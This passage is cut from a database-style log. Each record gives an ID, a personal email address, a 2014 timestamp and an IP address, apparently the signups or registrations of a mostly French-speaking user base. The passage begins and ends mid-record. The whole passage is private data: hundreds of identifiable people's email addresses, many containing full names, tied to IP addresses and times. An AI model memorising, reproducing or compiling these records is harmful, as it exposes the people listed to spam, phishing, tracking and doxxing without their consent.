00:18:11;82.234.72.64 +2086;sarah-love-de-lui@live.be;2014-01-13 00:19:34;109.89.3.125 +2087;lucie13005@gmx.fr;2014-01-13 00:33:19;82.234.72.64 +2088;vbalaval@gmx.fr;2014-01-13 09:49:50;82.234.72.64 +2089;flan08@gmx.fr;2014-01-13 10:02:48;82.234.72.64 +2090;famillevara@sfr.fr;2014-01-13 10:23:53;78.208.212.140 +2091;sakurastrike@hotmail.fr;2014-01-13 10:27:34;82.234.72.64 +2092;franck7513@gmail.com;2014-01-13 10:38:49;82.234.72.64 +2093;musa_pensosa@libero.it;2014-01-13 10:48:44;79.53.127.170 +2094;dominique_schroeyens@yahoo.fr;2014-01-13 10:55:31;81.241.1.111 +2095;fouadben130@gmail.com;2014-01-13 11:05:37;82.234.72.64 +2096;elisasol@hotmail.fr;2014-01-13 11:12:22;2.4.251.40 +2097;mathildeseigner@voila.fr;2014-01-13 11:20:30;82.234.72.64 +2098;olivadodiana@voila.fr;2014-01-13 11:41:51;82.234.72.64 +2099;devousamoinbm@gmail.com;2014-01-13 11:58:11;89.159.91.23 +2100;albertdino@voila.fr;2014-01-13 14:12:48;82.234.72.64 +2101;valgiraud@gmail.com;2014-01-13 14:29:32;109.2.67.149 +2102;severine.laithier@gmail.com;2014-01-13 14:52:43;194.4.232.243 +2103;emmafontenelle@voila.fr;2014-01-13 15:02:40;82.234.72.64 +2104;aperrier@live.fr;2014-01-13 15:30:26;82.127.20.87 +2105;cclouzeau@gmail.com;2014-01-13 15:46:06;83.153.125.29 +2106;dimuymichel@voila.fr;2014-01-13 15:53:04;82.234.72.64 +2107;mushubou75@gmail.com;2014-01-13 16:35:10;82.234.72.64 +2108;iowa_tour83@hotmail.com;2014-01-13 17:36:53;213.163.173.146 +2109;gaellepati@gmail.com;2014-01-13 17:55:41;82.234.72.64 +2110;daphnefougeroux@aol.com;2014-01-13 18:48:36;77.202.207.200 +2111;jeancaponeparis@gmail.com;2014-01-13 20:05:46;82.234.72.64 +2112;stitch23fr@gmail.com;2014-01-13 20:30:49;82.234.72.64 +2113;aurelie75013@live.fr;2014-01-13 20:55:11;82.234.72.64 +2114;marialo13003@yahoo.fr;2014-01-13 21:24:12;82.234.72.64 +2115;jackie75016@hotmail.fr;2014-01-13 21:53:59;82.234.72.64 +2116;stephane75mai@live.fr;2014-01-13 22:13:53;82.234.72.64 +2117;anais13jeu@gmail.com;2014-01-13 22:40:35;82.234.72.64 +2118;lefiloubea@orange.fr;2014-01-14 09:13:37;193.251.91.226 +2119;louise@vittori.org;2014-01-14 13:11:08;109.23.102.8 +2120;lisanic.ip@gmail.com;2014-01-14 14:07:10;109.223.72.87 +2121;dally_sivan@yahoo.fr;2014-01-14 17:15:38;5.49.200.174 +2122;emilieamidala@hotmail.com;2014-01-14 19:43:26;78.232.64.182 +2123;n.launay@me.com;2014-01-14 21:25:04;92.132.31.22 +2124;mariolle.danielle@orange.fr;2014-01-14 22:23:01;109.219.143.185 +2125;dl.deleam@wanadoo.fr;2014-01-14 23:59:12;90.18.92.241 +2126;edwige.derer@sfr.fr;2014-01-15 05:14:58;86.67.11.204 +2127;nathhallot@gmail.com;2014-01-15 09:17:31;92.129.87.38 +2128;camdevillartay@gmail.com;2014-01-15 10:47:28;84.233.143.222 +2129;aphrodite2a@hotmail.fr;2014-01-15 10:59:22;88.137.210.177 +2130;speyruch@hotmail.com;2014-01-15 11:15:29;213.137.179.49 +2131;pinoo540@gmail.com;2014-01-15 11:46:55;88.121.60.207 +2132;delphineladam@gmail.com;2014-01-15 12:16:10;88.162.239.218 +2133;capucinelefebvre@live.fr;2014-01-15 13:52:09;81.66.172.247 +2134;ccilegilbert@gmail.com;2014-01-15 15:34:35;78.122.103.139 +2135;mc.chevillot@gmail.com;2014-01-15 16:24:25;31.38.126.134 +2136;elisedepuytorac@hotmail.fr;2014-01-15 19:04:40;90.4.204.26 +2137;edith.richet@yahoo.fr;2014-01-15 19:35:00;89.170.140.215 +2138;jennimassy@hotmail.com;2014-01-15 20:08:02;82.241.40.207 +2139;lutine.62@hotmail.fr;2014-01-15 20:36:02;86.192.14.165 +2140;sandra.le-pors@hotmail.fr;2014-01-15 20:45:58;2.2.142.76 +2141;franmani77@gmail.com;2014-01-15 20:48:50;88.185.59.158 +2142;matabio@hotmail.fr;2014-01-15 21:00:38;90.4.143.225 +2143;mlvento@sfr.fr;2014-01-15 21:10:33;93.23.197.96 +2144;nathalie.petitbouchon.delage@gmail.com;2014-01-16 10:57:49;85.69.247.199 +2146;isabelle.maroit@skynet.be;2014-01-16 15:00:42;81.247.67.170 +2147;jakschiknoelle@gmail.com;2014-01-16 21:38:01;188.7.10.155 +2148;natnanouleandre@gmail.com;2014-01-16 21:41:00;89.86.81.248 +2149;sandyroucairol@yahoo.fr;2014-01-16 23:13:31;128.78.49.240 +2150;kim.allouche@gmail.com;2014-01-16 23:21:18;88.161.126.157 +2151;valoulemaitre@gmail.com;2014-01-17 10:42:41;93.190.210.97 +2152;pharmadudevois@orange.fr;2014-01-17 11:56:45;193.251.86.94 +2153;cecile-marie@hotmail.fr;2014-01-17 12:11:22;81.80.233.249 +2154;marion.floutier@gmail.com;2014-01-17 12:53:06;92.145.171.200 +2155;stefania.benedetto@orange.fr;2014-01-17 15:56:06;83.198.82.183 +2156;lucileramadier@voila.fr;2014-01-17 16:18:49;212.51.189.78 +2158;alexxia_n@hotmail.fr;2014-01-17 22:28:08;93.12.20.112 +2159;maela.sacchi@alice.it;2014-01-18 04:13:14;95.244.64.76 +2160;chauveau.francine@orange.fr;2014-01-18 15:18:05;92.152.58.56 +2161;jacqueline.maury31@orange.fr;2014-01-18 15:26:52;90.60.176.234 +2162;hsariak@hotmail.com;2014-01-18 16:49:34;84.5.106.245 +2163;malay.nong@yahoo.com;2014-01-18 17:57:27;145.226.30.45 +2164;giselejoub@hotmail.fr;2014-01-18 19:05:49;78.239.32.57 +2165;cocodiali@yahoo.fr;2014-01-18 20:04:44;92.158.228.71 +2167;sandrine.carter@gmail.com;2014-01-19 10:25:19;85.68.242.27 +2168;pipso@hotmail.fr;2014-01-19 12:54:03;78.231.10.125 +2169;claireguidet@yahoo.fr;2014-01-19 13:12:56;82.216.138.139 +2170;theo2804@hotmail.fr;2014-01-19 13:13:03;82.216.138.139 +2171;vanninadron@yahoo.fr;2014-01-19 13:37:27;80.215.20.122 +2172;ferte.katia@free.fr;2014-01-19 14:46:47;88.166.253.212 +2173;cherykatoune@live.fr;2014-01-19 16:38:23;77.206.211.84 +2174;ch-dubois@hotmail.com;2014-01-19 18:23:26;2.0.11.235 +2175;dany.basuyaux@orange.fr;2014-01-19 19:10:23;83.192.92.172 +2176;ev.salauze@gmail.com;2014-01-19 20:43:47;78.207.66.80 +2177;fredcedrocher@aliceadsl.fr;2014-01-19 21:45:03;78.248.92.13 +2178;laetngu@yahoo.com;2014-01-19 22:15:01;77.57.161.58 +2179;c.vanoost@hotmail.fr;2014-01-19 22:25:04;81.65.48.121 +2180;celia.giannuzzi@yahoo.fr;2014-01-19 22:35:49;90.57.113.68 +2182;sreboud@demosthene-france.fr;2014-01-20 10:32:19;88.166.137.178 +2183;lou.bauquel@free.fr;2014-01-20 12:19:00;88.184.243.120 +2184;carole0034@hotmail.fr;2014-01-20 14:22:29;81.14.5.176 +2185;cailloux.valerie@neuf.fr;2014-01-20 20:36:07;109.11.97.208 +2186;alexane@kaviaari.com;2014-01-21 12:04:51;80.12.86.153 +2187;aurelie.boure@gmail.com;2014-01-21 12:21:24;93.6.199.83 +2188;gielmaelji@gmail.com;2014-01-21 12:53:31;24.114.87.0 +2189;christineyannick38@free.fr;2014-01-21 13:31:58;78.241.134.151 +2190;janick.bigeard@wanadoo.fr;2014-01-21 16:15:21;92.138.62.152 +2191;Dkat69@hotmail.fr;2014-01-21 18:24:45;90.15.227.171 +2192;corinne.froissart@free.fr;2014-01-21 18:29:11;82.238.49.16 +2193;valentine.lozachmeur@gmail.com;2014-01-21 18:35:43;82.122.242.97 +2194;edwige46000@hotmail.fr;2014-01-22 11:07:55;109.16.149.38 +2195;soleil_trompeur@hotmail.com;2014-01-23 09:56:22;92.151.178.96 +2196;ad.consulting.paris@gmail.com;2014-01-23 17:37:17;92.103.70.98 +2198;mariannelabardin@gmail.com;2014-01-24 11:20:33;89.224.0.92 +2199;castellani.marie@gmail.com;2014-01-25 18:32:56;90.37.126.98 +2200;argonaute.lauves@wanadoo.fr;2014-01-25 18:44:55;92.158.39.211 +2201;elleka@gmail.com;2014-01-26 16:21:44;81.64.84.253 +2202;deliziadromain@wanadoo.fr;2014-01-26 18:56:32;81.250.227.100 +2203;sovanara1@hotmail.fr;2014-01-26 23:14:31;87.89.187.235 +2204;vanessam47@yahoo.fr;2014-01-27 12:44:58;92.139.248.59 +2205;brigittesuter@me.com;2014-01-27 19:30:29;194.209.54.232 +2206;ratus25080@wanadoo.fr;2014-01-27 21:49:28;31.35.131.10 +2207;carine.ginesty@gmail.com;2014-01-27 22:10:03;78.231.112.231 +2208;sylvie.richardniez@gmail.com;2014-01-28 12:59:26;205.167.7.125 +2209;famille.kruja@orange.fr;2014-01-28 19:42:15;90.41.12.218 +2210;cha03@live.fr;2014-01-29 15:59:41;85.171.120.43 +2211;sophie.dapsens@lexel.fr;2014-01-29 17:29:57;46.218.44.18 +2212;cunternaehrer@pharmamedica.ch;2014-01-30 15:27:48;212.243.158.2 +2213;secretariat@mw-telecom.fr;2014-01-31 11:07:30;90.7.110.55 +2215;maureen0917@gmail.com;2014-01-31 21:09:13;82.227.233.18 +2216;cathy.flayol@wanadoo.fr;2014-02-01 15:06:55;80.10.159.133 +2217;jacqueline.chataignier@bbox.fr;2014-02-02 09:18:29;213.44.66.103 +2218;kalliopie@live.fr;2014-02-02 10:32:22;88.127.30.33 +2219;sifilau@gmail.com;2014-02-02 10:35:43;88.184.167.13 +2220;sicotophelie@orange.fr;2014-02-02 15:20:53;83.115.53.192 +2221;vieiraisabel@gmail.com;2014-02-04 13:32:18;77.54.117.57 +2222;bscom@free.fr;2014-02-04 18:11:34;82.241.125.111 +2223;fabienne.olivier59@free.fr;2014-02-05 18:52:39;88.178.23.161 +2224;veronique_blin@orange.fr;2014-02-06 09:03:37;92.132.136.61 +2225;poissonrouge2006@yahoo.fr;2014-02-06 12:53:32;85.168.99.50 +2226;nbrun71@googlemail.com;2014-02-06 21:28:28;77.190.54.81 +2227;d.nicollet@free.fr;2014-02-07 13:19:50;88.187.24.47 +2228;annemarie.spiry@leprogres.fr;2014-02-07 15:26:18;145.226.30.44 +2229;alicegiroud@yahoo.fr;2014-02-07 17:41:03;93.1.203.94 +2230;rousseleaufamily@gmail.com;2014-02-08 09:13:44;92.245.152.142 +2232;qsdfgh@gmail.xdfgh;2014-02-08 09:16:00;92.245.152.142 +2233;desmet.murielle@hotmail.fr;2014-02-08 14:39:15;2.10.135.197 +2234;larcinagnes@hotmail.com;2014-02-08 15:06:22;109.89.230.93 +2235;tina.huynh@live.fr;2014-02-08 16:40:38;89.91.192.165 +2236;danielle.robert@yahoo.fr;2014-02-08 19:09:58;86.75.129.128 +2237;angekosmic@libertysurf.fr;2014-02-08 23:32:17;88.162.253.146 +2239;caumette@gmail.com;2014-02-09 12:36:54;89.3.14.22 +2240;manuelacuccu@yahoo.fr;2014-02-09 15:09:49;84.100.220.185 +2241;avioleau7@orange.fr;2014-02-09 17:11:50;78.228.160.26 +2242;elodie.lgall@gmail.com;2014-02-10 13:33:16;78.31.47.151 +2243;beautestagiaire@gmail.com;2014-02-10 13:33:39;78.31.47.151 +2244;stephanie.foin@1000mercis.com;2014-02-10 20:58:30;195.68.69.122 +2246;allixloa@live.fr;2014-02-11 14:15:26;88.171.174.47 +2247;chery@robertclergerie.com;2014-02-11 15:12:52;193.251.52.122 +2248;elisa-chirol@hotmail.fr;2014-02-11 18:56:40;81.14.41.238 +2249;julie.koehrer@hotmail.fr;2014-02-11 19:04:34;92.141.232.215 +2250;michel.urbano@laposte.net;2014-02-12 09:45:58;86.210.166.174 +2251;annejuliebost@gmail.com;2014-02-12 10:55:56;92.90.16.120 +2252;mageisha2502@gmail.com;2014-02-12 11:14:13;94.111.105.98 +2253;barbara.nelson@hotmail.fr;2014-02-12 11:28:51;83.192.153.204 +2254;fannyhermez@hotmail.com;2014-02-12 12:27:18;109.214.205.41 +2255;perrot_carole@hotmail.fr;2014-02-12 14:00:28;62.244.73.15 +2256;virginiechol91@yahoo.fr;2014-02-12 16:20:45;88.120.43.89 +2257;guillaume.pinel@neuf.fr;2014-02-12 20:27:08;31.37.33.4 +2258;fabrice.bollore@orange.fr;2014-02-12 21:29:46;2.10.204.28 +2259;cathyplacette@yahoo.fr;2014-02-13 12:01:08;82.243.179.170 +2260;corinnepetit69@aol.fr;2014-02-13 15:36:57;78.227.17.132 +2261;hecate59@hotmail.fr;2014-02-13 20:41:23;78.220.176.145 +2262;matt035@hotmail.fr;2014-02-14 08:41:59;77.206.19.236 +2263;aau@vitalya.fr;2014-02-14 13:52:54;2.13.183.31 +2264;marie@french-spirit.com;2014-02-14 15:06:53;195.25.190.157 +2265;godier.linda@orange.fr;2014-02-14 22:58:28;83.115.29.67 +2266;ferrero.chantal@live.fr;2014-02-15 15:22:21;86.211.54.163 +2267;marlene.heinrich@orange.fr;2014-02-15 17:50:27;90.8.124.250 +2268;devee@hotmail.fr;2014-02-15 23:12:10;81.64.41.66 +2269;ecussonneau@wanadoo.fr;2014-02-16 09:40:44;109.211.80.155 +2270;venezia38@hotmail.fr;2014-02-16 19:19:00;109.15.11.250 +2271;carole.vignon@laposte.net;2014-02-16 21:33:14;92.90.17.13 +2272;maylis04@hotmail.fr;2014-02-18 09:41:56;79.81.239.47 +2273;mesandona@demosthene-france.fr;2014-02-18 14:33:19;88.166.137.178 +2274;labrut.valerie@live.fr;2014-02-18 14:36:59;90.5.102.10 +2275;silviamatarazzo@gmail.com;2014-02-18 16:35:05;2.228.102.132 +2276;hundssyd@aol.com;2014-02-18 22:49:03;176.182.141.70 +2277;mimie_dan@hotmail.com;2014-02-19 08:18:56;67.68.212.129 +2279;cheryl.hermann@lexel.fr;2014-02-19 09:09:11;46.218.44.18 +2280;jthevenet@casema.nl;2014-02-19 11:55:36;83.85.222.127 +2281;anne-laure.vavon@laposte.net;2014-02-19 13:04:09;192.54.145.146 +2282;severine.portes@hotmail.fr;2014-02-19 20:18:25;92.136.81.55 +2283;cochise05@hotmail.FR;2014-02-19 21:36:07;78.231.75.105 +2284;isabelle.orsonneau@gmail.com;2014-02-19 21:50:13;109.211.40.250 +2285;lucette.doizon@free.fr;2014-02-20 10:06:04;88.175.95.118 +2286;janepr63@gmail.com;2014-02-20 12:23:00;193.246.24.2 +2287;michel-danielle.leceuve@orange.fr;2014-02-20 16:13:00;92.151.8.64 +2288;carmen.musy@orange.fr;2014-02-20 16:57:03;86.192.57.239 +2289;desjardins.david@sfr.fr;2014-02-20 18:53:26;109.13.166.122 +2290;clara15908@live.fr;2014-02-20 23:25:17;78.247.231.215 +2291;danielle.battaglia@orange.fr;2014-02-21 00:13:19;92.163.118.35 +2292;hazielcc@sfr.fr;2014-02-21 07:23:54;88.138.132.239 +2293;Emmanuelle.porcher@sfr.fr;2014-02-22 13:57:54;178.251.23.129 +2294;ypuig@wanadoo.fr;2014-02-22 17:16:15;92.145.87.210 +2295;sophie.froissart71@gmail.com;2014-02-23 11:12:09;2.3.77.227 +2296;castaldo-inspection@hotmail.fr;2014-02-24 18:44:07;79.89.132.196 +2298;marinamarcos66@gmail.com;2014-02-25 06:55:53;90.28.104.213 +2299;florence@laboratoireprevost.com;2014-02-25 15:11:34;90.80.227.251 +2300;modkamoya@yahoo.fr;2014-02-26 16:24:49;82.234.122.186 +2301;blondin_isabelle@orange.fr;2014-02-26 17:03:34;86.209.227.211 +2302;nachroger@gmail.com;2014-02-26 18:02:30;90.26.57.62 +2303;stephclem66@gmail.com;2014-02-27 09:33:51;80.13.126.178 +2304;pdegastines@gmail.com;2014-02-27 12:07:19;213.163.173.146 +2305;m.constantinou@mail.com;2014-02-27 12:08:10;213.149.189.182 +2306;barreau.cath@gmail.com;2014-02-27 13:19:57;78.236.213.233 +2307;mela30@hotmail.fr;2014-02-27 16:22:11;81.57.119.171 +2308;claudie.jouineau@gmail.com;2014-02-27 16:22:26;81.57.119.171 +2309;fabienne@ab1-info.fr;2014-02-27 18:00:34;78.246.226.6 +2310;saint-chinian@ab1-info.fr;2014-02-27 18:00:44;78.246.226.6 +2311;anna.perez.mager@orange.fr;2014-02-28 13:10:15;217.128.65.94 +2312;lola@rom.fr;2014-02-28 17:23:24;213.56.187.2 +2313;fabi.beaupied@gmail.com;2014-03-02 11:27:09;85.68.120.249 +2314;sylvie.soinard@sfr.fr;2014-03-05 10:43:45;77.194.223.123 +2315;lola.lucchini@hotmail.fr;2014-03-05 11:43:04;213.56.187.2 +2316;sylviefauveau39@gmail.com;2014-03-05 14:02:59;82.247.170.46 +2317;co_dream@live.fr;2014-03-06 15:24:12;89.90.42.216 +2318;robyn.carter@hotmail.fr;2014-03-06 15:34:00;212.99.96.94 +2319;anne-marye3@outlook.fr;2014-03-06 17:56:28;79.95.43.60 +2320;speed-limit@live.fr;2014-03-06 18:30:11;92.152.249.31 +2321;solene_ack@hotmail.com;2014-03-06 18:36:27;193.172.132.178 +2322;arthur.grankoff@gmail.com;2014-03-06 19:55:15;83.153.125.29 +2323;cha_cha_cha@hotmail.fr;2014-03-06 20:33:55;77.196.17.237 +2324;flavie.castres@gmail.com;2014-03-06 22:40:46;86.68.58.53 +2325;delphine.fernandes@hotmail.fr;2014-03-07 13:33:33;109.2.54.90 +2326;ilz08@live.fr;2014-03-07 14:47:38;84.102.154.22 +2327;letiroiracuriosites@gmail.com;2014-03-07 17:07:44;31.32.126.243 +2328;celine.dhalluin@yahoo.fr;2014-03-07 17:31:39;78.246.138.82 +2329;nathaliefuret@sfr.fr;2014-03-07 18:14:49;109.31.253.180 +2330;fiona.covarelli@yahoo.com;2014-03-07 18:49:22;86.205.37.99 +2331;aure189@hotmail.fr;2014-03-07 18:59:39;92.158.19.204 +2332;valerie.bouchermollet@laposte.net;2014-03-07 19:06:25;83.192.111.116 +2333;tomlalie@yahoo.fr;2014-03-07 19:19:35;109.209.212.3 +2334;valentine033@hotmail.fr;2014-03-07 19:32:03;77.193.11.10 +2335;mireille.sabatier1@gmail.com;2014-03-07 19:51:47;79.82.1.75 +2336;burgersherlock@yahoo.fr;2014-03-07 19:59:39;92.152.72.138 +2337;clemence.cosnefroy@hotmail.fr;2014-03-07 21:10:23;90.17.119.7 +2338;harmonie.tonnellier@laposte.net;2014-03-07 21:40:26;109.18.63.121 +2339;floki62@hotmail.fr;2014-03-07 22:20:15;109.16.194.160 +2340;alouxalex@yahoo.fr;2014-03-07 23:31:24;81.249.100.99 +2341;skylee95@hotmail.com;2014-03-08 00:21:48;83.114.124.185 +2342;lara.belzacki@live.fr;2014-03-08 00:40:37;109.220.17.27 +2343;sophie_dos_reis@me.com;2014-03-08 01:34:44;78.245.193.119 +2344;joselia.toussaint@gmail.com;2014-03-08 07:55:25;78.242.16.55 +2345;spionnier@yahoo.com;2014-03-08 08:11:49;89.170.71.110 +2346;vigneron.alexandrine@yahoo.com;2014-03-08 08:41:57;84.102.144.138 +2347;keeysha@hotmail.com;2014-03-08 09:35:22;86.193.73.234 +2348;romane.60b@gmail.com;2014-03-08 10:28:49;78.248.209.216 +2349;vunha-thi.tranvanba@espeme.com;2014-03-08 11:20:12;82.227.63.225 +2350;loliflash@aol.com;2014-03-08 11:23:44;93.0.148.99 +2351;christelle.bouchet@wanadoo.fr;2014-03-08 11:33:48;78.126.120.101 +2352;mary515@hotmail.fr;2014-03-08 12:41:11;86.74.42.239 +2353;littlesarah78@hotmail.fr;2014-03-08 12:51:05;90.96.19.61 +2354;marylin.moalic@hotmail.fr;2014-03-08 14:08:10;89.157.1.12 +2356;benedicteboulineau@gmail.com;2014-03-08 16:19:28;88.165.25.80 +2357;viado@hotmail.fr;2014-03-08 16:59:50;86.214.82.243 +2358;liliana.mpl@gmail.com;2014-03-08 17:43:00;82.227.150.159 +2359;elise.bruillon@wanadoo.fr;2014-03-08 20:36:19;83.202.116.161 +2360;marieclaire.le.bris@gmail.com;2014-03-08 21:05:10;88.173.34.132 +2362;princessecarine@hotmail.com;2014-03-08 22:01:51;86.193.203.42 +2363;v.fontanills@hotmail.fr;2014-03-08 22:15:32;89.94.175.195 +2364;Marion_billaud@yahoo.fr;2014-03-08 22:31:03;80.15.167.175 +2365;elisebiet@sfr.fr;2014-03-08 23:05:48;84.102.58.162 +2366;laurence_spirlet@hotmail.com;2014-03-08 23:54:12;213.213.213.65 +2367;morgane.baldi@free.fr;2014-03-09 09:40:35;88.164.208.190 +2368;pauline-lemay@live.fr;2014-03-09 09:46:27;78.244.62.87 +2370;vampire86@laposte.net;2014-03-09 11:26:28;90.59.99.69 +2371;issy_8@hotmail.fr;2014-03-09 11:48:27;83.113.38.250 +2372;do1002@live.fr;2014-03-09 14:22:00;2.5.168.2 +2373;alexandrine.k@free.fr;2014-03-09 14:24:55;88.160.246.58 +2374;pauline.michelet@live.fr;2014-03-09 16:10:48;85.171.174.217 +2375;claire.triquet@gmail.com;2014-03-09 16:36:24;78.226.129.112 +2376;camille.heit@gmail.com;2014-03-09 18:04:28;90.6.16.19 +2377;fabienne57280@hotmail.fr;2014-03-09 21:21:04;88.169.2.205 +2378;Zarzina@hotmail.fr;2014-03-09 21:46:51;88.166.142.72 +2379;pascaline.guerard@laposte.net;2014-03-09 21:51:18;109.12.166.17 +2380;stahl.veronique@gmail.com;2014-03-09 21:55:47;79.82.163.74 +2381;jennifer_antier@hotmail.com;2014-03-09 22:10:59;89.84.44.186 +2382;melouille37@hotmail.com;2014-03-10 09:58:18;109.209.63.61 +2383;laetitias.amatdrabos@laposte.net;2014-03-10 10:10:06;91.232.242.251 +2384;eloudiie07@hotmail.fr;2014-03-10 10:19:09;128.140.129.152 +2385;inesfougani@gmail.com;2014-03-10 12:08:24;84.233.143.222 +2386;natallegre@laposte.net;2014-03-10 12:21:49;92.134.81.173 +2387;enora.ledantec@hotmail.fr;2014-03-10 12:46:52;2.11.23.24 +2388;ti.papillon83@yahoo.fr;2014-03-10 13:18:58;86.205.125.128 +2389;ameaume.ma@orange.fr;2014-03-10 14:18:22;86.214.3.126 +2390;anais810.guibert@laposte.net;2014-03-10 14:33:27;83.206.245.203 +2391;roselyneroussetj@free.fr;2014-03-10 14:58:00;91.103.236.49 +2392;mc.lamalle@gmail.com;2014-03-10 15:04:54;81.57.119.171 +2393;anne-marielaurent@sfr.fr;2014-03-10 15:05:05;81.57.119.171 +2394;wencke.w.gruner@wanadoo.fr;2014-03-10 15:05:17;81.57.119.171 +2395;celiarognon@hotmail.fr;2014-03-10 15:06:08;145.226.30.45 +2396;charlene.desclerc@gmail.com;2014-03-10 16:38:19;31.32.63.81 +2397;wicia60@gmail.com;2014-03-10 17:44:08;88.165.0.131 +2398;Meriem.maya@sfr.fr;2014-03-10 18:09:01;82.24.5.223 +2399;marie302@gmail.com;2014-03-10 18:10:37;82.229.122.36 +2400;veroniquedailloux@msn.com;2014-03-10 18:11:39;90.27.34.146 +2401;myriam.monti720@voila.fr;2014-03-10 18:31:36;78.121.77.78 +2402;emmajcl@hotmail.com;2014-03-10 18:37:16;92.136.191.98 +2403;fouf.romei@yahoo.fr;2014-03-10 18:50:56;31.36.151.202 +2404;sloiseau@bluewin.ch;2014-03-10 19:47:49;85.218.21.240 +2405;gmollaret@gmail.com;2014-03-10 19:48:01;85.218.21.240 +2406;convertini_ch@hotmail.com;2014-03-10 19:49:15;87.254.241.224 +2407;zarahgharram@gmail.com;2014-03-10 20:07:20;31.39.98.123 +2408;ginathalie@hotmail.fr;2014-03-10 20:09:14;90.47.73.184 +2409;marjorie.tourteau@gmail.com;2014-03-10 20:12:40;89.92.95.48 +2410;emeline.b@live.fr;2014-03-10 20:16:06;5.48.171.215 +2412;mcbrutin@hotmail.fr;2014-03-10 20:31:13;84.100.99.110 +2413;patriciaeltze@hotmail.fr;2014-03-10 20:50:47;79.83.169.38 +2415;anaischicard@gmail.com;2014-03-10 21:26:07;77.193.134.162 +2416;mcd44@live.fr;2014-03-10 21:28:46;84.97.135.64 +2419;edlau30@orange.fr;2014-03-10 22:03:40;90.57.14.153 +2420;anneolivie@msn.com;2014-03-10 22:10:42;109.223.103.162 +2421;ethanoufera@free.fr;2014-03-10 22:26:50;88.166.234.47 +2422;princesslibellule@hotmail.fr;2014-03-10 22:33:31;92.88.11.11 +2423;morenitadu73@hotmail.fr;2014-03-10 22:35:26;78.238.140.81 +2424;claudine.paranthoen@yahoo.fr;2014-03-10 22:51:00;82.251.155.86 +2425;delxoxo08@gmail.com;2014-03-10 23:55:45;78.192.142.59 +2426;nathalie.esteve974@orange.fr;2014-03-11 03:31:56;90.63.219.220 +2427;catcanivet@yahoo.fr;2014-03-11 08:37:51;171.25.209.60 +2428;lucie.guillon@gmail.com;2014-03-11 09:04:15;95.141.113.5 +2429;sn.tre@orange.fr;2014-03-11 09:28:00;2.4.39.44 +2430;celia6384@hotmail.com;2014-03-11 09:29:19;88.181.200.157 +2431;samiazaoui@yahoo.com;2014-03-11 09:49:56;217.128.147.189 +2432;theangelmaycry@hotmail.fr;2014-03-11 10:36:33;82.239.171.135 +2433;christellesuz.colin@laposte.net;2014-03-11 10:41:30;80.15.23.148 +2434;mdulcecsilva@sapo.pt;2014-03-11 10:51:37;2.83.195.42 +2435;fanny_64_7@msn.com;2014-03-11 10:57:26;88.105.95.67 +2436;yanou601@gmail.com;2014-03-11 10:57:50;90.58.180.201 +2437;ericduhayon@neuf.fr;2014-03-11 10:58:14;86.67.7.97 +2438;mylene.marin@live.fr;2014-03-11 10:59:34;85.69.157.62 +2439;agathe.laville2@orange.fr;2014-03-11 10:59:35;90.83.9.139 +2440;nelly.iglesias33@orange.fr;2014-03-11 10:59:37;109.214.233.199 +2441;melanie.brouard@gmail.com;2014-03-11 10:59:40;171.16.210.9 +2442;arwenne33@numericable.fr;2014-03-11 11:00:54;85.170.9.191 +2443;jean-pierre.renaud5@orange.fr;2014-03-11 11:01:11;92.135.8.185 +2444;laurent.bottcher@sfr.fr;2014-03-11 11:02:12;77.206.62.85 +2445;elisabeth.guinot@gmail.com;2014-03-11 11:03:46;90.42.108.5 +2446;verodora@sfr.fr;2014-03-11 11:03:59;79.85.58.88 +2447;anned14@hotmail.fr;2014-03-11 11:06:25;78.242.82.74 +2448;luciegallais@free.fr;2014-03-11 11:06:39;82.228.61.121 +2449;tamlinne@yahoo.fr;2014-03-11 11:06:49;78.239.244.55 +2450;latina89400@hotmail.fr;2014-03-11 11:07:06;5.48.156.49 +2451;ta.vinca@yahoo.fr;2014-03-11 11:07:48;78.239.244.55 +2452;floriane.dubos@gmail.com;2014-03-11 11:08:53;87.240.85.55 +2453;sarl.colard@orange.fr;2014-03-11 11:11:32;90.39.180.171 +2454;romilly27@hotmail.fr;2014-03-11 11:11:37;37.163.108.135 +2455;myriamettheo@yahoo.fr;2014-03-11 11:12:07;81.67.69.12 +2456;mariefayolle@hotmail.fr;2014-03-11 11:12:58;128.79.29.135 +2457;mutinycore@gmail.com;2014-03-11 11:13:08;94.127.11.173 +2459;gregdjs@hotmail.fr;2014-03-11 11:13:40;78.220.45.45 +2460;helene1908@yahoo.fr;2014-03-11 11:13:42;195.83.178.110 +2461;l.philippon@aliceadsl.fr;2014-03-11 11:14:34;83.153.97.37 +2462;marina_salomatina@yahoo.fr;2014-03-11 11:14:51;82.228.185.238 +2463;alexandra.saenz@sfr.fr;2014-03-11 11:15:32;90.84.144.230 +2464;ladamdelphine@gmail.com;2014-03-11 11:16:38;88.162.239.218 +2465;dumas.laura@hotmail.fr;2014-03-11 11:17:05;2.3.117.81 +2466;sophieth@live.fr;2014-03-11 11:19:53;90.14.93.173 +2467;cmuss2801@free.fr;2014-03-11 11:25:31;37.162.254.180 +2468;choupinette-56@hotmail.fr;2014-03-11 11:28:11;86.214.230.106 +2469;sdelavelle@free.fr;2014-03-11 11:31:11;93.17.231.5 +2470;ju_garden@yahoo.fr;2014-03-11 11:34:04;92.129.84.124 +2471;zoe1371@hotmail.fr;2014-03-11 11:39:14;86.73.91.5 +2472;gguemin@yahoo.fr;2014-03-11 11:39:28;88.179.183.69 +2473;gaudival@hotmail.com;2014-03-11 11:44:17;87.89.196.173 +2474;kariine.jouanin78@gmail.com;2014-03-11 11:51:21;86.210.135.80 +2475;edwrougier@yahoo.fr;2014-03-11 11:51:24;212.234.148.235 +2477;e.mignaton@gmail.com;2014-03-11 11:57:07;90.35.67.243 +2479;katell2003@aol.com;2014-03-11 12:01:22;82.227.9.222 +2480;fanny.lr@hotmail.fr;2014-03-11 12:03:25;90.25.196.213 +2481;coulomb.patrick@free.fr;2014-03-11 12:06:26;82.234.169.125 +2482;missou68@hotmail.fr;2014-03-11 12:08:13;80.215.130.67 +2483;logan.montana@yahoo.fr;2014-03-11 12:08:16;78.244.157.97 +2484;captainemutine@yahoo.fr;2014-03-11 12:08:31;78.244.157.97 +2485;julitbailly@yahoo.fr;2014-03-11 12:08:53;78.244.157.97 +2486;aziliseugenie@hotmail.fr;2014-03-11 12:13:00;93.182.198.20 +2487;gaellelaport2@gmail.com;2014-03-11 12:19:09;90.35.164.249 +2488;maodaum@hotmail.fr;2014-03-11 12:19:34;89.80.54.131 +2489;boulou50100@gmail.com;2014-03-11 12:23:08;109.209.220.192 +2490;mandier@free.fr;2014-03-11 12:23:36;88.162.209.28 +2491;sylvie.panizzon@gmail.com;2014-03-11 12:26:10;88.175.20.9 +2492;helene.beneat@laposte.net;2014-03-11 